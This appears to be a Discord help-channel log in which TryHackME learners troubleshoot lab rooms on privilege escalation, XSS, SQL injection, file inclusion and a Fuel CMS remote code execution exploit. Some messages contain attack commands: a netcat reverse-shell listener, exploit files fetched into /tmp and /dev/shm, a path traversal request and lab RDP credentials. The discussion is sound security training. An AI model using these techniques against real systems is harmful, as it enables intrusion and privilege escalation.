OK, so it really does seem like static-labs.tryhackme.cloud is inaccessible to me, cannot telnet on port 80 or 443 and the link in the exercise appears to go on forever when I try to navigate to it, almost like something is capturing the traffic? I'm going to skip this question and finish the rest of the lessons first. If I missed something obvious, please point it out to me, otherwise I'll write something in the support channel.

cinder dawn
#

is anyone facing issue with browsing any website on the attack box , like the network doesn't have internet connection or timeout ?

cinder dawn
shadow echo
# cinder dawn yup

I just tried it and it seems to work just fine with internet on the attackbox

#

So maybe just restart it, if you are sure you are sub πŸ™‚

#

As only subs have internet access on the attackbox

cinder dawn
next lanceBOT
#

Gave +1 Rep to @shadow echo

shadow echo
next lanceBOT
#

Gave +1 Rep to @shadow echo

violet star
#

This is not how you make a newroot user? This is the Linux privilege escalation room task 5

idle bison
#

Remove that random empty line

violet star
#

Still get the same issue

idle bison
#

And you're not showing the issue

violet star
#

okay I went back to only changing the first instance

when I 'su newroot' and it prompts me for the password , it still takes me to root

idle bison
#

It's a privesc.

violet star
#

so its not going to show 'newroot@debian'?

idle bison
#

No, it's going to sign you in as root

#

Which is the point

violet star
#

ok

signal oak
#

in the windows privilege escalation room I have to put a malicious DLL file in the Temp folder

#

but Temp is restricted to admin

#

oh ok there's another Temp folder in C:\ instead of C:\Windows

uncut crystal
#

Hi, does anyone have any notes for the Jr pentest path module that they can share please

shadow echo
signal oak
#

in windows privesc, when I use the command sc start dllsvc it just creates a file named start with dllsvc written in it

#

weird

#

if I type sc start whatever it writes whatever in the start file

sage current
#

are you running the sc command in powershell or in cmd???

signal oak
#

in powershell

sage current
#

if you are running it in powershell edit the command to be sc.exe start dllsvc

#

as sc is a cmdlet built into powershell that has the same name as the services executable

signal oak
#

it works thanks

#

why does it say to use sc

#

was it working before?

sage current
#

because that is what the executable is called

#

and works flawlessly in cmd

signal oak
#

oh ok I was supposed to do it in cmd

#

thanks @sage current

next lanceBOT
#

Gave +1 Rep to @sage current

sage current
#

no problem

idle bison
idle bison
sage current
#

oooh thanks for that info james

#

knew it was some thing interfering with it in powershell

signal oak
signal oak
idle bison
#

@merry night There's a note in the task because it's a big area of confusion, but I suspect it's one task too late

thin idol
#

Hi learners !
I have no result on the Task 8 "Practical Example (Blind XSS)" even if after creating my own web server (nc or python3 -m http.server).
I changed the payload with my own IP and tcp port set but no result during the request to ticket on my web server... an idea ?

sage current
thin idol
next lanceBOT
#

Gave +1 Rep to @sage current

sage current
#

no problem

prisma musk
#

Probably just being stupid here but, im doing the authentication bypass in junior pentest and under bruteforce is says to be in same directory as valid_usernames.txt but i cant find that file can anyone help?πŸ˜‚

#

Just read that πŸ€¦β€β™‚οΈ

somber raft
#

anyone know why the crack hashes button on crackstation.net is greyed out for me?

mystic plume
#

Anyone did CVE-2018-16763 for Fuel CMS exploit recently ? I tried few different scripts none of them worked, tried also with installed one, no luck either.

#

Only thing I could get is phpinfo to display, any other attempt is not working, It prints text but it doesn't exec command.

rustic totem
mystic plume
stable portal
mystic plume
#

I guess will start fresh today and see if I can get it running

stable portal
mystic plume
#

Did you use port 80 ?

stable portal
#

no, I think I used port 4444 (but you can use pretty much whatever I think). open another terminal and do e.g. "nc -lvp 4444" and then use your ip + port 4444 in that fuel cms script

mystic plume
#

ok, will try

mystic plume
#

10.10.20.132 is address of machine I am attacking

#

oh, lol it's attacking machine right

#

😿

#

got it

stable portal
#

yeah so when doing the reverse shell you need to enter the ip of your own machine (the machine that runs the nc listener, nc -lvp 4444)

#

nice!!

mystic plume
#

Did URL attack work for you ?

#

I tired so much different scripts but couldn't make it

stable portal
#

nothing worked for me except the script that was pre-installed sadly πŸ˜…

mystic plume
#

Yeah but even that script will only work with reverse shell

#

Yeah I figure it out, never used reverse shell before

#

But I am still thinking if this script is able to open reverse shell with same url, output of php system function is somehow omitted or silenced

#

Well there is not a lot of info, I gone thru source code and saw that it allows you to input your own callback function, exploit is trying to execute php system function in order to execute shell commands.

#

that is my guess, but it shouldn't be like that, if you use shell_execute it should be displayed internally maybe

#

system should return string of actual result

#

yeah but I wanted to simply exploit it thru the URL, it seems like something was changed, maybe php version no clue.
Since this video is showing that he is able to execute commands and get output at the top of page with similar script :
https://youtu.be/ICjRD0Mwhys?t=687

#

I already shared timestamp

#

he used this script

#

yeah, I did have to fix some things, because python on machine didn't recognize urllib.quote it was moved somewhere else.

#

and deleted burp proxy same as he did

#

I have no idea, I even printed the whole page at one point, but the response was so long that terminal wasn't showing top of it

#

the other scripts just improve on this concept and use print + system to execute shell commands

#

Probably missed something in my thinking

#

Yeah maybe I will, wasted so much time on this huh

violet star
#

So for this linux escalation room , task cron jobs file permissions , would I run my netcat listener in my attacking machine ?

idle bison
#

It's a reverse shell

#

Do you understand how reverse shells work?

violet star
#

Yes

idle bison
#

Then you should know where to run the listener

#

If you don't know, you need to go back and study reverse shells again

rustic totem
formal bough
#

may i have a suggestion here for the detailing text of the Cross-site Scripting room?

#

the task in the end may not be that clear for new people

#

i found a lot of whining on Reddit about nc does not work, but actually it does

#

i know i solved it, i will write my suggestion in the mentioned channel, thanks @steel nymph πŸ™‚

next lanceBOT
#

Gave +1 Rep to @steel nymph

formal bough
#

oh, it's not a room, then i will do it after my meetings πŸ™‚

mystic plume
#

Is Metasploit: Exploitation reverse shell task possible with THM attack box ? Like it's suspending machine if you switch from one to another.

shadow echo
next lanceBOT
#

Gave +1 Rep to @shadow echo

mystic plume
#

I am not able to use linux/gather/hasdump module as suggested, I am not finding anything online.
Should I run console with sudo, tho this is THM attackbox machine I am already logged in as root

idle bison
#

The module reads /etc/shadow on the target, which needs root privileges

mystic plume
#

oh

#

yeah I wanted to read that file but it didn't allow me from reverse shell

#

well I guess will run script with sudo

idle bison
#

What's the script in this case? The payload?

mystic plume
#

yeah, it's elf file

idle bison
# mystic plume yeah, it's elf file

That's not a script, there's a difference between a script and a binary and that's super important. Compiled vs interpreted. Machine code vs text.

mystic plume
#

Yeah I know the difference just not super good with terminology

#

@idle bison
Thanks anyway I was able to complete room

next lanceBOT
#

Gave +1 Rep to @idle bison

violet star
#

sh-4.1 is the root shell on this machine right? (Task 11 SUID/GUID Executables Known exploits of a Linux Privilege escalation room)

west tundra
#

A # in the prompt usually means root, yes. You can also run whoami or id to validate

violet star
#

oh yes of course

sweet briar
#

Hey

#

I am not able to any thing when I put http://MACHINE_IP/

#

not able to continue with burp exercise

#

please help me here

maiden stratus
sweet briar
#

I am inside the machine

maiden stratus
sweet briar
#

machine is up but when I am using machine ip on browser its not showing me anything

#

I can see service is running on port 80 ideallly http://machine_ip/ should give some response

#

but I am getting the site can't be reached

sweet briar
#

πŸ™‚ ip bro ip LOL

shadow echo
#

But regardless, if it's showing you the URL with machine_ip you most likely haven't started the target machine yet and substituted the "machine_ip" with the attackbox IP, which would be wrong

#

But best to verify and show a screenshot

#

!docs verify

tiny bluffBOT
polar quiver
#

When doing UNION injections, what is the points of having to select multiple columns such as UNION SLECT 1,2,3?

#

does it have to do with output? that is my only gues really

gleaming edge
#

Hi, I'm doing Linux PrivEsc and when I do wget on the target machine it says Permission Denied. Can anyone help me.

sage current
gleaming edge
#

yes

sage current
#

can you verify your discord and send a screenshot???

#

!docs verify

tiny bluffBOT
gleaming edge
#

Done

sage current
#

a screenshot of wget in here.... in the folder you are running it.... together with a ls -lah in said folder

gleaming edge
#

alright

sage current
#

you are trying to put the exploit.c file in the / folder????

#

obviously you do not have write permission in that folderf

#

put it in /tmp

gleaming edge
#

OK

#

Thank You Friend. But I also tried to put in home folder.

sage current
#

the left part of your image above is not where you are putting the file on the target machine

#

and a lot of the time you don't have write perms for any folder except /tmp on your target machine

gleaming edge
#

@sage current You are great

sage current
#

thanks....

polar quiver
worn haven
#

why isnt working??
β”Œβ”€β”€(rootγ‰Ώkali)-[/home/kali/Downloads]
└─# python -m SimpleHTTPServer 8000
/usr/bin/python: No module named SimpleHTTPServer

slate sinew
#

because you are calling the wrong thing

worn haven
#

i already tryed python2 and 3 and still doesn work

slate sinew
#

Yeah. Because that's not the right module

worn haven
#

Because that's not the right module???

#

SimpleHTTPServer worked before

slate sinew
#

Correct. python3 webserver module

#

that should be your search term

#

It might work with py2, but I don't think it's part of the 'default' py2 deployment on kali. Which means you'll need some other way of acquiring the py2 module, as the pip2 mechanisms are now deprecated

worn haven
#

β”Œβ”€β”€(rootγ‰Ώkali)-[/home/kali/Downloads]
└─# python3 -m http.server 8000
Traceback (most recent call last):
File "/usr/lib/python3.10/runpy.py", line 196, in _run_module_as_main
return _run_code(code, main_globals, None,
File "/usr/lib/python3.10/runpy.py", line 86, in _run_code
exec(code, run_globals)
File "/usr/lib/python3.10/http/server.py", line 1290, in <module>
test(
File "/usr/lib/python3.10/http/server.py", line 1241, in test
with ServerClass(addr, HandlerClass) as httpd:
File "/usr/lib/python3.10/socketserver.py", line 452, in init
self.server_bind()
File "/usr/lib/python3.10/http/server.py", line 1284, in server_bind
return super().server_bind()
File "/usr/lib/python3.10/http/server.py", line 136, in server_bind
socketserver.TCPServer.server_bind(self)
File "/usr/lib/python3.10/socketserver.py", line 466, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use

#

still not working

west tundra
#

Says Address already in use, have you tried a different port number?

worn haven
#

was that!!!

#

thanks person!!!

#

do you know why cant use port 8000??

west tundra
#

Something else is using it

worn haven
#

strange... hahahha... good answer! thanks

slate sinew
#

sudo ss -ntlp will print out the listening ports currently in use

worn haven
#

but why the file is denied

HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
37292.c: Permission denied

Cannot write to β€˜37292.c’ (Permission denied).

west tundra
#

Are you sure the directory you're in is writable with your current permissions?

worn haven
#

the file has chmod 777 and im making the server from root

#

from the route where the file is

slate sinew
#

do you think that error is local, or remote?

worn haven
#

it may be local i think

west tundra
#

I mean the machine you're downloading too, not the attacker perms.

worn haven
#

well a tried from the root and from the /home/matt and doesnt work

west tundra
#

try downloading to /tmp

worn haven
#

ill try...

#

nop....

#

still the same

#

work!!!!

#

thanks

west tundra
#

What did you do different to get it working?

worn haven
#

/dev/shm

slate sinew
#

that's usually a world-writable ramdisk; some system configs disable that

worn haven
#

ive realized that privesc is totally a new information and very complicated... until now anything was so paynfull...

torpid nexus
#

hi i'm stuck on a task on file inclusion challange 1 where i have to change the request to post. i did that in burpsuite and wrote to the file: ../../../../etc/flag1 but doesnt work
looks like that
POST /challenges/chall1.php?file=../../../../etc/flag1

west tundra
#

No reason to ask twice in two different learning path channels, that's just confusing

torpid nexus
#

i deleted in the other channel cuz it was the wrong channel for that

#

oops didnt delete fully

lucid ivy
mystic plume
lucid ivy
#

you need to use burp suite

worn haven
#

in window privesc how can i connect from my machine using RDP?? i dont remember saw this way of connection...

#

cause the split view from thm isnt working

maiden stratus
worn haven
maiden stratus
#

yes, and remmina has a gui but xfreerdp is run from terminal but they both provide a gui connection

worn haven
next lanceBOT
#

Gave +1 Rep to @maiden stratus

worn haven
#

got with xfreerdp!!!

#

/usr/bin/xfreerdp /u:user /p:Password1 /v:<ip_win_machine>

worn haven
west tundra
#

When saying something doesn't work, it helps to show a screenshot of your command + the error

worn haven
west tundra
#

Did you put ./ in front of the file name when running it?

worn haven
#

yes

west tundra
#

Using the right python version?

worn haven
#

yes

west tundra
#

In the same directory as the executable?

#

Looking at the code now, are you using -update or --update? Becuase you should be using the latter.

nocturne carbon
#

Hello, I am trying to figure out Cross-site Scripting room Task 8.
I am running it on the AttackBox. I am using 10.10.x.x:port for ip in the script. I have tried both nc and python3 http.server. I have checked for syntax mistakes...

#

Anyone got any Ideas?

nocturne carbon
#

I have it : in the syntax.

maiden stratus
#

oh nvm

#

can you try listening on 443, it might be wanting a "real" port or others might be blocked by firewall

#

tho don't think that was needed iirc

nocturne carbon
#

ports seem to be working. both nc and http.server

maiden stratus
#

yeh, but it's likely not the issue just a guess

nocturne carbon
maiden stratus
#

Yeh, xss rooms can be buggy or there might be something else, not sure honestly 🀷

violet star
#

If none of the SUID in my vulnerable remote machine is listed in the GTFOBins github page under the SUID heading, does that mean I cant use any of the SUID binaries listed in my remote machine to carry out a privilege escalation attack?

violet star
violet star
#

You find that to be a funny name?

idle bison
#

No, I find it to he a relatively obvious abusable binary

violet star
#

Well I didn't know

idle bison
#

I mean, it's called shell, it's in tmp, it's probably not there by default

polar quiver
#

Yo does anyone know if you can set Macros with ffuf like with burpsuite?

south olive
#

I need help regarding dnsrecon

#

Whenever i dnsrecon, an error occure "ModuleNotFound" netaddr

haughty basin
#

Man anyone facing with issues windows privilege escalation Tib3rius room

#

Even other rooms related to windows privilege escalation

#

Cuz can't hold the connection for long time

#

Tried to revert machine no use

#

I'm using remmina

#

Xfreerdp aswell

#

If anyone of u had same issues let me know

wheat delta
#

Humm no, I just did it I had 0 issue with remmina

sage current
#

and shadow has had zero problems with xfreerdp

#

guess you might have duplicated tun devices making spooks

#

or is using a vpn on the host machine and the tryhackme vpn in the attack vm

#

which could also cause problems

wheat delta
#

I never use the attack VM, only my Kali VM

sage current
#

for shadow that is

wheat delta
#

oh yeah I scramble words lol

somber raft
#

What is the request look like?

boreal jewel
#

exploit for Exploit Vulnerabilities module, task 5 practical is not working, getting traecback errors from exploit. Any help?

torpid nexus
#

im on sql injection task 7 and im wondering if theres a way of automate the process of trying out characters until the boolean turns to true. I've tried burp intruder but when it hits the right character it doesnt change in response or status

#

i know the basics of python but ive never really scripted anything like that

#

tru

#

thanks for the tip

sage current
#

not to downplay the importance of scripting but you can use sqlmap too

boreal jewel
next lanceBOT
#

Gave +1 Rep to @rustic totem

formal bough
#

good morning

half silo
#

I am working on "Walking an Application" and the flag for task 6 does not seem to be working. Does anyone have a solution? I read that there is another flag somewhere but I only see the one.

half silo
#

I found all of them except for the final flag it says it is in the network section and I found a flag there but it does not accept it

half silo
#

no it does not

quiet musk
#

I just did the Vulnerability Capstone and was wondering if I was missing something. I tried to use the 3 RCE exploits for Fuel CMS 1.4 on exploit-db. The one I could get working was the RCE #3 python one, and managed to connect, but whenever I ran a command it would just reply back 'system'. Tried to run a netcat reverse shell, but it didn't work.

I ended up using the built in capstone exploit to solve the challenge, and used the same exact commands for a reverse shell so I don't think I did that part wrong. Did I not use the RCE exploits right or are they just broken?

modest arch
#

For Subdomain Enumeration Task 6, did all of you pipe | the command to the "more" command and scrolled through all 1900 wordlist of code to find the correct subdomain??

Note: I solved it without cheats (online lookup), just asking is there a better way.

novel zealot
#

You'll now see the article is just made up of the result from the UNION select returning the column values 1, 2, and 3. We can start using these returned values to retrieve more useful information. First, we'll get the database name that we have access to...

Isn't this a bit facetious? Do sites typically run with columns 1,2,3 displaying each piece of data like is shown in the lab?

sage current
#

if you get sql injection probably

quasi prawn
idle bison
#

So if you selected 1,2,3 then you might see 2 and 3 as the product title and description respectively

sage current
#

field 1 == id
field 2 == username
field 3 == password hash

idle bison
#

Another good example

novel zealot
#

@sage current @idle bison Thank you both for your responses! Haven't worked much with production SQL env's so it's eye opening to me

next lanceBOT
#

Gave +1 Rep to @sage current

sage current
#

shadow just assumes that the sql database/table with the fields shadow specified is very very common for a lot of websites that need to handle credentials

#

and luckly not to commonly accessable with sql injeciton

mystic plume
# quiet musk I just did the Vulnerability Capstone and was wondering if I was missing somethi...

I also had issues with exploit. Tried running few different python scripts that use same route to exploit but also got just "system" string printed back. It's actually part of command you are executing. At the end someone suggested that I use script that was already installed on machine for task, script had option to open reverse shell and that worked perfectly. I wasn't able to figure out why the other options didn't work, seems like output of command was silenced out and not printed back to response.

quiet musk
# mystic plume I also had issues with exploit. Tried running few different python scripts that ...

Yeah, I figured maybe the command output was being obscured somehow, but even running the same netcat reverse shell I used in the machine's script wouldn't work (no connection would be established on the attacking side) so I think maybe there is some sort of issue with the command not reaching the target at all. I just wish I knew why it was doing that because the question seems to imply that the machine's script was a last resort method if you couldn't figure it out, instead of the only working solution

mystic plume
tidal lake
#

Can someone help explain why something works on the File Inclusion room for Task 8? I figured out how to get flag3 but I don't understand why I was able to get it one way and not another. I was able to get the flag through burp suite but when I edit the same parameters from my browser I don't get a successful result.

sage current
mystic plume
tidal lake
#

I'm changing the method in the html

#

since it's explicitly stated with method=GET

#

and then adding a value field with the payload to the input tag

quiet musk
sage current
tidal lake
#

it ignores the value i add entirely

mystic plume
#

I don't think you can send POST with browser, unless you maybe write small snippet of JS code that will actually make request and specify POST method.

#

if you just type in URL it will use GET

sage current
#

but burp is neater

mystic plume
#

But if you just try enter the URL it will default to GET, and yeah dev tools can be used to replay and send requests. I would also say burp or postman is better for this purpose.

sage current
#

owasp zap is also an option but burp as stated earlier is neater

tidal lake
#

thank you for explaining

mystic plume
sage current
#

wonky stuffs Β―_(ツ)_/Β―